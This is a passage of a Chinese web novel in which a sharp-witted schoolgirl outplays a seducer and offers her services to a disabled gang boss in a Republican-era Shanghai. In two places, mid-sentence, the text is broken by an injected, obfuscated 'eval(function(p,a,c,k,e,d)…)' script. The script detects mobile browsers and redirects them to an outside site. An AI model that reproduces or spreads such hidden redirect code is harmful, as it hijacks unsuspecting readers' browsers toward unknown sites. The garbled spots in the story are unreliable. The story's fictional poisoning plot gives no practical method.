再进屋,梁慧秀果然对他没好气,劝她去赌场的几个朋友,有一个算一个,都被她骂了一遍。 “真对不住,你看我去百货商场,买了最时兴的巧克力套装,产地比利时。还有这串紫罗兰水晶手链,给慧秀你赔罪了。” 梁慧秀知道这事自己也多有不对,任唐昕哄了一会儿,把水晶手链揪过来戴到腕上,眼波一横:“唐少爷在哪发了一笔小财,这么大方?” “咳,不过玩了些赛马商券。” 闲话说几个来回,唐昕犹豫着,叹道:“怎么不见乔小姐?你身边好容易有个伶俐人,突然就把人家赶出去?这么使性子,也不给人留一点余地。” 这话不提还好,一提,梁慧秀顿时涨红了脸,手忽然扯住帕子,一刻没说出话。唐昕本来奇怪她的作态,不等深思,她就突然跳起来,用帕子狠命甩了唐昕几下:“你也要给她求情?你知不知道她让我丢了多大的丑?你,你要是再提她,就给我滚出去!” 她这么一副咬牙切齿、恨不得嚼人骨头的模样,倒是唐昕熟悉的。等哄走梁慧秀,他又把住在大宅下人房的宓语柔叫出来,确认梁慧秀当真恼了乔璃,最后一丝疑虑也烟消云散。 再去女学一打听,高级班的乔小姐已两日未去学校,唐昕便更放心,倒是有点可惜送给宓语柔的老绿檀玉手持。 若是不给钱,从这个假温柔真心机的拜金拉三[1]嘴里,竟越来越难套出话来了。 一番动作下来,唐昕对消息颇为满意,勉强又等一日,便找人给借住孟家的乔璃递信。信中多是安慰佳人的温言软语,更少不了几张给穷窘女学生的保障银票。 起初几封回信尚还矜持,两天过后,唐昕就借多出一张赏戏票子之由,邀人出门散心。 散心么,自然不能只听戏。戏在晚上,便可提早出来去洋餐厅饮下午茶。为彰显“绅士”之风,唐公子又特特送出银元,作车马衣料之用。 下午茶约在永安百货公司,约莫等了一会人,唐昕就看见胶皮车上下来位穿着藕色旗袍的佳人。 日光下,浅灰色的绸缎微微泛着粉红,将女子本就温柔亲和的脸庞衬得更加甜美。旗袍是新做的,裙摆底下一双穿着旧皮鞋的脚不安地朝后移了移,腕上戴的镯子,看着也不像什么值钱玩意。 唐昕欣赏着眼前佳人:许是今日经历多舛,她眼里那抹寒凉的清傲也被现实捻成忐忑不安的羞红。 女子本来就不该读什么书,更不该读得比男人还强。唐昕最厌女人孤傲,可那份学校里培养出来的气质又总殊异他人,便一时踌躇——乔小姐这样天真的女学生,自然再纯净不过,他一时举棋不定,不知该转手卖个高价,还是自己先受用一番。 两人慢慢吃了下午茶,沿着夕阳往戏院的方向走。想来走到了,太阳也就溶进地平线的暗青幕影中。 现在它还半落没落地挂在天边,深红的晚霞里交错万千金丝。 乔璃远眺那抹晕在霞光里的云影,思绪却飘到那晚荡在水红绉纱绸里的周莲泱身上,倒难得有点惘然。听说他已开始学练武旦,只她早出晚归,根本见不到挥剑的青涩身姿。 腿脚定住片刻,旁边陌生的呼吸格外令人不快,忽然让她质疑起究竟有没有必要迂回地演这么一场戏。 若她真是寻常理想主义的女学生,充满这个年纪的天真,往往会过高估计自己抗拒诱惑的能力,相信自己能保持清白地抓住跳跃阶级的跨板。 如唐昕这般狡诈又手段丰富之人,见她真失了大小姐宠爱,自然觉得自己成了捕蝉的黄雀。殊不知乔璃正是拿捏着这份心理,劝动如今格外信服她的梁慧秀,演一场认清身边朋友的好戏。 梁慧秀倒也未必不晓得她这群朋友的德性,但总处于污泥中,说不定哪日就着了谁的道。听乔璃说唐昕对她有男女心思、还妄想做梁家女婿,顿时被恶心得不轻,抓着宓语柔配合她做局。 计划这件事,同她以往做每件事一样,感性从未被她计算在内。没想到如今换了一个地界,从年轻再来,仿佛也变得幼稚爱娇,想埋在表哥怀里抱怨一番奇葩的恶心。 不过能拨动这琴弦的,恐怕也就那么一个人罢了。 如她所料的,唐昕拿出手的“追求”从温柔小意愈演愈烈,乔璃未做什么,只是顺从他的安排,他就以为一切十拿九稳。 有趣的是,唐昕好似很乐于看到一个考学厉害的女人十赌九输的狼狈样,约会末尾,总要去赌个一两次。 拿他的钱,乔璃输得很痛快,同乐会场那种天价筹码不敢碰,便去街边鱼龙混杂的小赌场。就这么偷偷摸摸玩了十天半月,两人居然结识了一对赌得极狂热的夫妇,是一次前脚刚出某赌场,又在下一家碰上的巧合。 中年男人姓杜,身旁的夫人姓伏。伏太太虽然青春不再、外表如精心妆饰的水桶,衣着与笑容却总是非常合体,似乎同谁站在一起都是朵点缀感恰到好处的壁花,把杜先生老丑的眉眼都烘托得顺和起来。 一次四人小酌,告别时,饭店外下了大雨。杜先生开汽车,带伏太太先走,唐昕伸颈盘桓片刻,神色居然有几分可惜的样子:“真是许久未碰到过如伏太太这样的贤惠人,杜先生每日的例汤,居然是她早起选购食材,从剃鱼鳞开始做起。嗐,得妻如此,夫复何求!” 乔璃看他一眼,冷冷道:“我反正是不会亲手做羹汤的,将来我要考大学,还要出国留洋。” 唐昕笑道:“好罢!女状元的手,合该不沾阳春水,可若是只给我做一碗……” “你有这个念头,为什么不去娶一个伏太太?” 唐昕猛地顿住,半晌,才扯出一个笑,伸手想去牵她的手:“是我错了!我该和你说清楚,我不想喝别人做的汤,只想喝乔小姐做的。” 乔璃后撤一步,自然躲开他,便见唐昕沉下脸:“我不过随口说一句,大半还是恭维,你难道还要继续计较不成?” “我就是计较!我知道你在想什么,你想把我这个女状元勾到手,然后就可以尽情满足你那贫瘠下流的妄想,是不是!” “呵,我今日便直白跟你说:唐公子将我当唾手可得的玩物,我却在看好大一个笑话,看你什么时候能反应过来!” 被戳中心思,唐昕的白面一下子胀紫了,他想诱拐良家女子,以为自己只是碰到一朵扎手的野玫瑰,没想到被彻底羞辱一通!果然越是破落户,越是茅厕里的砖头,又臭又硬[2]。 “你以为得了梁小姐的厌,在女学里还能混着什么好不成?留洋上学?哼,到时只剩老头儿可扒,或落进窑子里,别怪我唐少爷未赏过好心!” 唐昕口不择言骂了几句,更生乔璃的气,提前约的汽车开过来,倒教他心生一计:这人径自上了车,砰一声关车门,指挥司机速速开走,将穿着旗袍皮鞋、只有一件薄披肩的乔小姐扔在原地。 海市的夏天多雷雨,往往上半天还出着太阳,过正午就变成开了泵阀的水缸。 特意鬈过的刘海在湿气中垂下来,湿黏黏搭在额前,雨中怔神的女子身形纤瘦,餐厅外挂的灯笼拖出老长一条孤影。她搓搓手臂,不知是气,还是心里难受得厉害,径一头冲进雨中,沿路往家里走。 这儿离百老汇街挺远,挨着青帮人开的赌场,表面看 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阴影勾勒出女子湿透的倩影,裴宗邺摇下车窗,与她视线相对。 那双明亮深静的眼眸中漫开一层脆弱的光泽,楚楚可怜地滚落眼角,分不清究竟是泪水,还是冰凉的雨。 在那一刹那间,他好像是被一点摄人心魄的东西轻挠一下,心脏静止不动,手却取出一条宽长的披肩,递出窗外:“乔小姐。” 雨疾迅地浇湿牛津纺衬衫袖口,一截腕绷出深青血管,玉一样含着光。 乔璃纹丝不动地站着,在风雨里,像一艘无所傍依的小船,可那瞬间收住的情绪告诉裴宗邺,她不需同情,更不屑于任何哀求。 他轻叹一声,收回手,从内打开车门。 “乔小姐,我想请你至裴家一叙,本该亲自下车相邀。心有所愿,可惜身不能成行。” 裴宗邺靠右而坐,车门一侧,西裤便暴露出从膝盖上方开始瘪下去的空荡。挨着那空荡的,是一条格外清瘦的、同样无法移动的腿。 从车后掠过的风撩起他的头发,那往后梳成背头的浓黑发丝飘落几缕,湿漉漉地贴在眼前。男人神色坦然,只在雨与风的打扰下透出一点不习惯的微窘。 女子眼中果然露出一种近似歉疚的神情,从他掌中接过披肩,遮住旗袍下的曲线。 乔璃矮身钻进另一侧车厢:“谢谢裴先生。” 裴宗邺平视前方,不在意地点点头,待乔璃大体擦干头发、打理妥当后,才敲敲前座,示意青龙开车。 半晌无话。身旁女子竭力找些得体话来说,欲盖弥彰地用矜持掩盖自己的企图。 裴宗邺笑了,慢道:“乔小姐,您这样的英才若有所求,实在不必与唐昕那种人物混在一处,直接来找我便是。” 座驾前的青龙听了,心生疑惑:乔小姐的身世与近日行踪,负责调查的他自然再清楚不过,听主子话中有话,倒像有什么内幕? “我……”话语未出,乔璃先红了脸,“希望裴先生不要以为我同攀权附贵的那种人一样,我找裴先生,是想谈一门生意。” “我很乐意听一听。” “您既然没生气,为何一直不肯看我的眼睛呢?” 这句有些冒然的话出口,她就觉得不对,慌忙找补,又挑不住话,双手紧紧攥住披肩,试图找回点勇气。 他心觉好笑,又有些难得的放松,五指将湿发往后一抓,偏过头,把眼睛对向她。 乔璃果然一愣。 裴宗邺的语气与动作,都是时下人推崇的绅士文雅,却压不住灰色眼睛里傲慢不恭的凶狠底色。他的五官不算俊艳,但饱和度很高,混血儿一样浓郁而深邃,总让人忍不住多看几眼,想弄清楚引人注目的焦点在哪。 最后大概还是汇聚到他的眼睛罢——哪怕含着笑,也有点太悍了。 “吓到了? 乔璃移开眼:“没有。” 裴宗邺摇摇头,语气温和:“那条披肩都要被你揉碎了。” 她没说话,赌气地看过来。超出他预料,除刚开始一瞬的不适应,是真的不怕。 也是。裴宗邺想。就像她表面在赌场总是输,却暗中与伏太太合作,从他这里赢走好大一笔钱。 有这种手段与勇气,怪不得唐公子被当做工具人狠狠耍一套,还以为自己占了便宜。 她不怕,还敢好奇地偷偷打量他,这些小动作,全被裴宗邺收进眼底。 说是交易,若人不上心,说不定就像唐昕一样踩进坑里。 会骗人的小狐狸。 28.陆 找个饭碗 雨下得好大,等汽车开进裴家大宅,却差不多停了。道路两旁拉了路灯,伫立在细雨绵绵的夜里,像两排椭圆的月亮,自豪地发出柔润的光泽。 人造的月色笼罩着雕花铁艺大门,洒进里面长长的草坪。修建得整整齐齐的花圃与景观树,在有限的空间里拱立着四周铺着碎石的小凉亭。 乔璃跳下车,裙摆掀起一阵香风。她向前跑进大门,借着昏暗的灯光眺望到一座犹如外国电影里才会出现的西洋宅邸。 大宅的正立面,清晰的红砖与白色灰泥相间,几何线脚代替中式屋顶。立面中央还做了一个小巧的门廊,尖形拱券优雅地托起流苏状的门楣。 她惊叹一声,身旁却无人回应,又跑回来,一边跑,一边对还坐在汽车里的裴宗邺笑道:“裴先生,没想到你的家居然这么气派,这么摩登!” 裴宗邺也没想到她居然是如此活泼的。柔韧的似鹿的身影穿过细碎莺声与浅浅花影,乔璃停在他面前,双手撑着膝盖,双颊泛着玫瑰色的暗红,前额微汗。 一阵风来,灯影微颤,远处栀子花的香气沉淀在她低眉的浅笑里。 “劳驾,腾个地方。” 裴宗邺收在薄毯里的手微微放松,看青龙从汽车后备厢转过来。 壮汉肩头扛着一把折叠起来的轮椅,重重磕在车门边。乔璃后退两步,青龙那双粗糙有力的大手撑起“X”型架构的钢管,利索地将其站平放稳。 “主子。” 青龙垂头询问,裴宗邺颔首抬臂,壮汉把住他的肩膀和另一条不能动的腿,将人撑进轮椅中。 这套动作在千百次的重复下已做到极致的简洁,但过程再怎么快、再怎么利落,都改变不了汽车与轮椅间这截不值一提的距离,对双腿皆废的裴宗邺来说,也是极难跨越的一道天堑。 每次到这种需要挪动的场合,任何埋在风淡云轻表情下的残缺都再无法掩饰。 寒毛倒竖,青龙心底一突,扭头一看,身边的年轻姑娘竟一点都不懂避讳,把自己抱主子下车的一幕全看了个清清楚楚! 她甚至没有一丁点掩饰眼底新奇之色的意思。 裴宗邺先前还凝在脸上的笑意已全然不见,青龙身体僵硬,冷汗顷刻打湿后背。 “真有意思,这种能叠起来的轮椅,我以为还得过个十年才会有。” 好古怪的话。 青龙微愕,不由问道:“说得好像你知道十年后都有什么一样。” 乔璃挑眉:“岂止十年,二十年之后的我也知道。” 她的语调背后似乎有一层不容置疑的把握:“裴先生要不要猜一猜,二十年之后最让人类刻骨铭心的发明会是什么?” 青龙负责推轮椅,乔璃跟在旁边走,裴宗邺指尖轻敲扶手,觉得“让人类刻骨铭心”这一形容颇有玩味之处。 “那么,你可知道‘胡德’号?” “英吉利皇家海军的HMS Hood?” 裴宗邺觉得今天自己实在是惊讶了很多次:“我想上西女中大概不教军事课。不过你既然知道胡德号,也该知道它也是一座最精良强大的武器,其上火炮破坏力无可匹敌。” “所以呢?” “若说二十年后有什么让人类刻骨铭心的发明,我猜是十倍与胡德号火炮的武器。” 乔璃止住脚步,青龙下意识看向她。原先绞扭空气的危险感好容易消失,一口气还未放松,这个过分大胆的姑娘居然调转一步,挡在轮椅跟前。 坐在轮椅上看,就是她突然凑到他面前,因为个子高,所以腰弯得很低。 这是个非常突兀的动作,对裴宗邺而言,极其冒犯。 但比动作更突兀的,是她的眼神,带给他一种超脱愤怒的奇妙感觉。漆黑又透彻的瞳孔微微颤动,像是在看他,又像在注视别的什么。 一种要深深看进他灵魂某处的,不带任何情绪的凝视。穿透不对等的身份、相差倍许的年龄,完整与残缺的身体。 “裴先生,我突然发现你比这把轮椅有趣多了。” “这是什么意思?”裴宗邺无意识地脱口而出,一出口便后悔了:他不该问这么多问题的,男女之间暧昧的交锋,询问更多的一方,往往意味着落于下风。 “虽不中,亦不远矣的意思。”走进大门,乔璃回头看他一眼,“我没想到你一猜就猜准是武器。” “能夺走人命的东西,自然最让人刻骨铭心。”裴宗邺顿了一顿,“虽不中,是我将威力猜得还不够?” “咦,裴先生难不成真相信我知晓二十年后的事情?” 裴宗邺胸口一堵,仰首去看她,只看见一抹淡淡的无从捉摸的笑。 青龙在旁,将两人的对话听得一清二楚,见自家主子被堵得下不来台,心中觉得又稀罕、又好笑:“我去叫陈妈来,乔小姐方才淋了雨,也该喝些姜汤药茶。书房有电话,小姐也给家里报个信。” 至于之前为何不将乔璃送回家么,自然谁也未提。 裴宅大而空旷,大厅铺着柔软华贵的土耳其地毯,里面是融合巧妙的中西共赏的布置,可以看出是在他腿脚未受伤前建的。后面拆了许多门槛与碍事的装饰,供宅邸主人自己滚动轮椅四处穿行。 宅子里女管家、男管家各一位,打扫、厨房、马厩、花园等仆人被减到最少,且都练就了影子一般的本事,轻易不到人前讨嫌。 女管家是个四十岁上下的妈妈,笑容和气,见裴宗邺回来还带一位年轻小姐,问清需要,主动引路去客房稍作洗漱。 青龙推着裴宗邺往书房走,把方才几幕细细一想,觉得个中实在有些自己不明白的机锋在内。片刻又不免为裴心酸起来:若主子如三年前般身体强健,他这么一个粗人,又怎会斤斤计较谁说的几句话。 回到大宅,不见外人,裴宗邺往往很沉默。腿伤的第一年,这里曾极其压抑幽闭,不少直撞枪口之人下场凄惨。有时候,面对裴宗邺阴沉黝黑的视线,听他轻声低语念出需被清除的人名时,连青龙也要感到心惊肉跳。 这之前、这之后,都不乏想要勾引裴大董的女子,乔璃是少数能够踏进宅邸的一类。 就连青龙也有过轻浮风流的阶段,但女色对缓和裴宗邺本性的阴沉与暴戾毫无作用,面对从鲜血与死人堆里趟出去的怪物,少有人能压下心中的惊恐畏惧。 这就显得一路撩拨好几次虎须的乔小姐有些……迟钝。 青龙是这么想的,显然他主子不这么认为。 “她好像很有自信,我想不通这自信从哪儿来。” 裴宗邺背对着忠实的保镖与朋友,手指抵着额头,双眼微阖。发丝感觉还有点潮湿,染着曾掠过姑娘肩头的风与雨。 “主子之前说的有所求是……”青龙疑惑道。 “嗯?你不记得吗,在同乐会场,她也用了相同的手法。”他睁开眼,注视自己的双手。“她在我这里输去多少钱,与她合作的小厮便赢走不多不少正好两倍之数。另外几家赌场,赢钱的就变成那位伏太太。” “在我的赌场,作出那样精确的输赢,还不算自荐么。” 裴宗邺握掌成拳:忽略掌心与指腹的厚茧,十指曾经无比灵活,具备层出不穷的出千手法需要的灵敏柔软的肌肉。有人笑称千金也不配买赌王的手,现在价值早已随这些老茧的出现而消失了。 “难不成她想成为第二个赌王?”青龙揣测。 也说不定。他想。可这种简单的理由,会让她那样给人感觉忽明忽暗,捉摸不定么? 有人敲门,得到回应后,女管家躬着背走进来,脑袋低垂。她身后的姑娘穿着一件不合体的雪青蓝布衫,下着翠蓝窄脚袴,一下子就从一个时尚大方饮咖啡的摩登女士,走回迦佛国未亡时的深深宫院里了。 这么老而土气的打扮,配一条打得松松的蝎尾辫,年轻的皮肤不施粉黛也光洁饱满。裴宗邺这才惊觉,眼前真的只是个刚满十六的女学生。 他忽然也开始质疑起自己的决定来:邀一个女学生过来、把什么“交易”放在心上,不是很令人啼笑皆非吗? “裴先生,你这里的书好多呀。” 不等招呼,乔璃背着手走进来,目光一寸寸掠过占了书房两面墙的胡桃木书架,一边走,一边感慨:“真多,都是好书。待我回家前,能让我看几本么?已瞧着几本一直想读的,哪里都找不到。” 最后一句话音听起来还有点可怜的。裴宗邺忍俊不禁:“看完你点的那两本,乔小姐是想赖我这里不走了?” 乔璃溜了他一眼,撇嘴道:“一个下午茶的功夫,裴先生请不起?” 那样厚的洋文书,裴宗邺都不知怎么出现在书架上的,就算研究该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732676|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语言的学者,没个几天功夫也看不完。他想问,又忍住,告诉自己可不能再做稳不住的那一个:“乔小姐今夜还是好好休息吧,交易或是看书,放明日再说。” 对一个用赌场做投名状的小姑娘,裴宗邺一时好奇,也真没想拿她怎么样。她今日淋了雨,受了累,好好休息一晚才是待客之道。 “明日再说?”乔璃像是感到很好笑一样翘起嘴角。精心设计积累出的好奇与雨夜特殊的魅力,被清晨的太阳一晒,还能剩下多少也未可知,她可不会让天时人和从指缝间溜走,“裴先生已困得做不了交易么?” 片刻沉默后,裴宗邺从善如流:“请说。” “青龙先生最好别在场。”乔璃背着手晃了晃头,“倒不是说青龙先生不能听,而是我怕我胆子太大,您会忍不住上来堵我的嘴。” 老天,现在的年轻人都是这样的吗? 青龙摸不准她,更摸不准裴宗邺,但男人一挥手,他便老老实实走出门,在外站岗。 偌大的书房只剩下一站一坐的两个人。乔璃迈过刚刚青龙一直挡住的书架,像是一下子又有一片陌生的世界可以探索,眼里充满高兴的情绪。她踮脚取下一本书,在目录停留片刻,再开始翻。 像是知道对面人耐心即将耗尽,乔璃并未再拖,开门见山:“青帮久踞海市,三位大董势力最盛,其中论辈分高低与资历深厚,当称裴先生为首领。可如今未过香堂如林锦镛者,辈分低微如姚月荣者,竟后来居上,挤占地盘,裴大董只能屈与英租界,难以扩张。” “个中原因么,外界人不知,多嘲裴大董如老虎断牙失了心气。可有心人一看便懂。” “乔小姐觉得自己是有心人?”裴宗邺倚着椅背问道。 “林锦镛与姚月荣半年前联合潮帮烟土商成立三鑫公司,短短时间盈利百万,参股人盆满钵满,早忘了国门因何而开,忘了‘东亚病夫’之称将我泱泱大国置于何等屈辱境地。” 乔璃依然目不转睛地盯着手中书籍,语气轻柔而坚定。 “唯有一处势力,唯有一人……不曾失却筋骨,不曾参与三鑫公司的成立。一个比谁都站得高,也看得更远的枭雄。” 裴宗邺无法否认此刻心底正涌出隐秘的愉悦。 “可惜筋骨未失,人也是要吃饭的,枪打出头鸟,不肯同流合污,就要遭受各方排挤。我说的交易,便是用我的主意,换取一个在裴先生手底下做事的机会。”乔璃抬眸一笑,“算是提前给自己找个饭碗。” 裴宗邺失声而笑:“上西女中第一名,恐怕也不愁未来的饭碗。不过乔小姐可想好了,我这里可非寻常商帮,巧取豪夺流氓斗争比比皆是,不是普通人过家家的地方。” 他这样语带非难嘲讽,反倒激起对面女子的脾性:“我打算卖的主意便是与之有关。帮中常见烟、赌、娼三毒,虽能聚财,却难留芳名。现今中国亟需实业之手,唯有掌控金融命脉,方能真正左右局势。若建银行,裴先生名下赌场诸案,都能转入股金,如此黑转白道,洗脱污名,实为大势所趋。” 金融与实业并非儿戏,乔璃所说主意裴宗邺也不是第一次听,只是一直未能找到合适时机与人才。可她如此年轻,能摸准青帮势力划分,提出这么一个看似笼统但确实能用的计划,也完全值得一句“少年天才”, “你说的饭碗,我答应。”裴宗邺从袖中抽出菩提子念珠,放在掌心慢慢拨捻。“夜已深,乔小姐还是早些睡吧。” 乔璃把手中书合上,左手忽然拽着轮椅向前,右手顺势抓住他手中的念珠,整个人逼近裴宗邺。 这让他猝不及防。 “你没理解我能做到什么程度。”盯视他惊怒的双眼,乔璃终于目睹今天唯一令人兴奋的东西,笑意愈发真情实感,“也罢。除三鑫公司外,林姚两人还在公共租界开了一家与同乐会场比肩的赌馆。你不肯掺烟土买卖,就是胆小退让,不愿真撕破脸,只能无可奈何。” 裴宗邺额角青筋轻抽,强忍动手的冲动,勉强道:“乔小姐,你逾矩了。” 乔璃压在他轮椅上的膝盖一动不动,眼中灿烂的情绪让她看上去更像个孩子:“听说裴大董发迹所靠两人,青龙为武,‘小孟尝’孟玉龙为文。双龙骧首,成今日大势。裴先生,若我替你毁了林锦镛的赌场,能不能也匀我个雅号,尝一尝当龙的滋味?” 29.柒 “少年意气” 一个人要习惯被注视很难,尤其是健全人对身有残疾之人的注视。有些人当然已经习惯了,但要裴宗邺屈从与这种注视,比起自愧,他会选择杀人。 乔璃今夜所作所为,每一步都已踩进他给旁人划出的红线。 裴宗邺不认为自己是个好脾气的人。若非如此,他也不可能从青帮底层的青皮混混一路爬到现在的地位,“狠”才是他为人最鲜明的底色。 抽痛的后腰和不自觉锁紧的咽喉都告诉他,随愤怒之后到来的,将会是不受控的暴戾。 但这种距离,又是一种久违的与人亲近,近到足够裴宗邺捕捉姑娘双手的微颤,和眼中破釜沉舟似的脆弱的坚毅。 空气从他口中缓缓泄出。他想起乔璃与唐昕对峙时自有的一种高洁而不容轻辱的傲气,背影中脊骨撑着瘦落的肩头,也像是撑着最后一点儿自恃与尊严:她有十分的才干,便不愿也不能当一个聪明的交际花,成为一只被豢养在笼子里的金丝雀,吸引那些年轻或衰老的荷尔蒙驻足观看。 裴宗邺再向她看了一眼,她的脸已经比刷白的墙皮还要没血色,连嘴唇都是苍白的。清秀眉睫下,深透的眼像泛起波光的湖,影影绰绰摇颤着。 因此,他将绷紧的神经放松,抬脸凝视她的脸:“双龙不过是外人传的诨号,不值得稀罕。等我将事托付给乔小姐,希望你莫忘今夜豪言,真能办好才算本事。” 面前的姑娘突然红了脸,垂下头,整个人如同差点踩入猎夹的鹿,脱兔般向后退去。身形那么晃,裴宗邺真有点儿担心她摔倒,好在来回踉跄两下,还是稳住了。 他暗暗松一口气,叹道:“明日孟玉龙来宅邸,你知晓他名号,倒方便过去拜见请教。他也是年轻俊才,不必太拘谨。 ” 她身子轻轻一颤,不愿在此时露出颓相,眼里却悄悄流露出许多欲语还休的情绪。半晌,双唇轻动:“多谢您。” 裴宗邺受过许多人的谢,这一声清透诚恳的难得。乔璃接着道晚安,关门离开。 男人若有所思地望着她的背影,手扶前轮,拿起她翻过的外文书籍。英文他只能做一些简单浅显的对话,自然很难看懂这本《The Causes of Evolution》[1]到底讲些什么。 不过乔璃本身的背景并不如洋文书这般复杂。没落贵族,遭匪祸的闺秀,寄人篱下,身若浮萍。 他听过很多次这样的故事,他的,青龙的,世道混乱,谁不是如此? 只是乔璃还有一点自不同的、聪明之外的勇。太莽撞了,如横冲直撞的牛犊;又太青春、太富有生机,千帆历尽之人也忍不住想多看一眼。 ------------------------------------------------------ 子夜黑如焦油,大多数人已在梦乡沉浮。赌场通宵喧嚣,杜宏盛又输一大笔钱,把铁矿场半年的利润全砸入赌桌。 筹码被收走时引发的痛苦比他想象的更锋利,耳边嘈杂的人声重重击打他的鼓膜。杜宏盛脑中嗡嗡作响,心脏跳得又快又急,而向来注意枕边人、及时嘘寒问暖的伏太太不言不动,眼睛只盯着赌桌。 一时意识模糊,杜宏盛已无力阻止自己的嘴巴张开,头顶的吊灯越来越小。 ——“可不能装死赖账啊!” 这就是杜宏盛生命中听到的最后一句话。 杜先生死了,伏太太成为遗孀,继承所有财产,投资得到最大回报。 若非新认识的朋友帮忙,恐怕等待杜宏盛自然死亡,还需熬个三年五载。 警察厅的人到来时,她指甲还紧紧扣着蛇皮手包,里面装着一管用空的油剂,替换杜先生平日常用的心脏药。 伏太太用捻烟头的优雅动作将没有任何痕迹的玻璃瓶磕碎,混入赌场装啤酒瓶的大桶中,记下了这个人情。 乔璃睡醒时,昨夜的猝死案还未上报。杜宏盛毕竟不是海市人,赌场里因突发心脏病去世也算不得什么大新闻。赠药只是随手结个善缘,她并不在乎伏太太要怎么用、用在什么时候,只是不爱再见那张酒气醺醺往自己跟前凑的猪脸。 “你为什么这样高兴?” 她对镜子露出一个被愤怒屈辱扭曲的表情,然后又慢慢变化,指向另一种自伤哀怨的隐忍。 再往镜子中盯视,又见眼中浮现一抹刻骨铭心的沉痛。 “因为我终于找到另一样有趣的游戏。” 乔璃自顾自微笑起来,令人如沐春风的笑,与孟彩霞有七分相似。玉关柳精心指点,她虚心学习,如今再不会有唇笑眼不笑的错漏。 管家叫早前,她最后一次调整面部肌肉,小心翼翼抬眼,巧妙拟态出清水初荷似的羞涩。 白日再览裴宅装潢,比夜晚更华丽大气,看来青帮大董并不好什么锦衣夜行。手攥钱财,自然要堂堂煌煌花用出去,堆砌出叫外国人也羡慕的摩登气象。 乔璃站在二楼阶梯上欣赏了一会儿。这段时期正是中外结合的蜜月期,海市尤甚。历史进程与她记忆中的近代相差不多,紧要大事依稀仿佛,科技发展倒似这处世界稍快一些。 有佣人请她下楼用早饭,正好男管家刚通报完来客,领人进来,两厢撞个正着。管家身后跟着一个穿浅蓝牛津纺衬衫黑西裤的青年人,俊生的一张脸,唇角挂一抹微笑,高个子,宽肩膀,有一种斯斯文文的读书人气质。 乔璃猜是“小孟尝”孟玉龙,管家一介绍,果然是。她主动伸手与他握,瞥见孟玉龙眼中两分惊讶。 她这边一觉察,孟玉龙也立刻觉得了,远山似的长眉一弯:“乔小姐方才站在楼梯上,瞧着跟副画似的,现在一动一握手,我才觉得踏进现实里了。” 乔璃掩着嘴笑起来,两人并肩往客厅走。孟玉龙不愧是裴大董手下头一号智才,虽然闹不明白眼前女子与老板存在何种关系,言语幽默风趣之余,更滴水不漏。 等与裴宗邺相见,从他那处再听过介绍,知道自己多了一位新“同事”,笑盈盈的一双眼中情绪也再未起过波澜。 大宅的装修是仿西式的,早餐却实实在在符合中式胃。因为有三个大男人在场,除平常的咸菜肉丝面、豆浆油条等,还有老鸭馄饨、生煎馒头与翡翠烧麦,豪华铺了一桌。也不知厨师是不是从市井老店中挖的,猪肉笋丁生煎汁多馅满皮薄底脆,一咬一股鲜香的肉汁。 乔璃想演矜持,可日久锻炼后胃口越来越大的身体不依,只好默默吃了八个生煎并一碗油豆腐线粉汤,连大开大阖猛造饭的青龙都不由侧目。 昨夜毕竟没吃好嘛。她在心里叹口气。 不知从那里传来噗嗤一声轻笑,乔璃眼风扫过去:“孟先生笑什么?” 孟玉龙啜饮一杯咖啡,眉眼弯弯回看过来:“没什么,只是想起有趣的事。” 裴宗邺瞧姑娘慢慢红涨起来的脸,也忍不住一笑:“既然有趣,你不如分享,自己憋着算什么。” “我只是想起家妹……年龄大抵也与乔小姐差不多,老师每日带她们做体操,围学校跑圈,有时还举铁哑铃。”孟玉龙想起妹妹,也不掩饰自己的骄傲,“未上学前她还体弱,进了女学,吃得多动得多,反倒健康。” “举铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773221|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哑铃?”青龙来了兴趣,“你妹妹读得什么学校,专管体育不成?” “当然不管体育,只是那学校格外注重女子锻炼。她在爱华女学[2]读中级班。” 乔璃并未听过这所学校的名字,想来不属于私立贵族一流,也不是教会学校。她对孟玉龙的了解反倒更多:他这一支孟姓,与孟厚信一支本是一家,同为甬明商人。后来因为什么龃龉,曾老死不相往来,后人海市再见,仇恨不再,却也不恢复走动,不咸不淡地相处罢了。 早餐用完,青龙不耐谈事,提前离席。佣人将碗碟撤走,又送来新泡的咖啡与茶。 裴宗邺两样都不爱,就把正事提上桌:“乔小姐应当知道,我虽然允了你,可也不会立刻投资一笔真金白银。今日把你引见给玉龙,就是让你与他学着做事。” 孟玉龙笑道:“听说乔小姐是上西女中第一,有这种人才加入,我只有高兴的份。倒是不懂你为何这么急——先把书念完,考个大学不好么?若是经济上的问题,裴先生最是惜才之人,绝不会吝啬一笔学费投资。” 乔璃摇摇头,意兴寥落:“那样太慢了。” “太慢了?” “我有一笔四万两千银元的债,已拖到不能再拖。” 孟玉龙一愕,那么多银元,几乎是同乐赌场两月的流水,放在普通人家,就是天文数字了。 “背着这笔债,若只跟在旁人屁股后面做事,怎么都赚不到这样一笔钱。我不需要学费投资,我需要的只是裴先生给我一句承诺。” 裴宗邺双眉微皱,沉吟片刻:“你说。” 乔璃便把昨夜的话重复一遍:“如果我替裴先生毁了林锦镛的赌场,您就要把我提的建议,当做孟先生的建议一样对待。” 孟玉龙作为智囊型人物,在势力发展方面有不可忽视的作用,他提什么建议,裴宗邺自然是要仔细考虑,派人施行的。 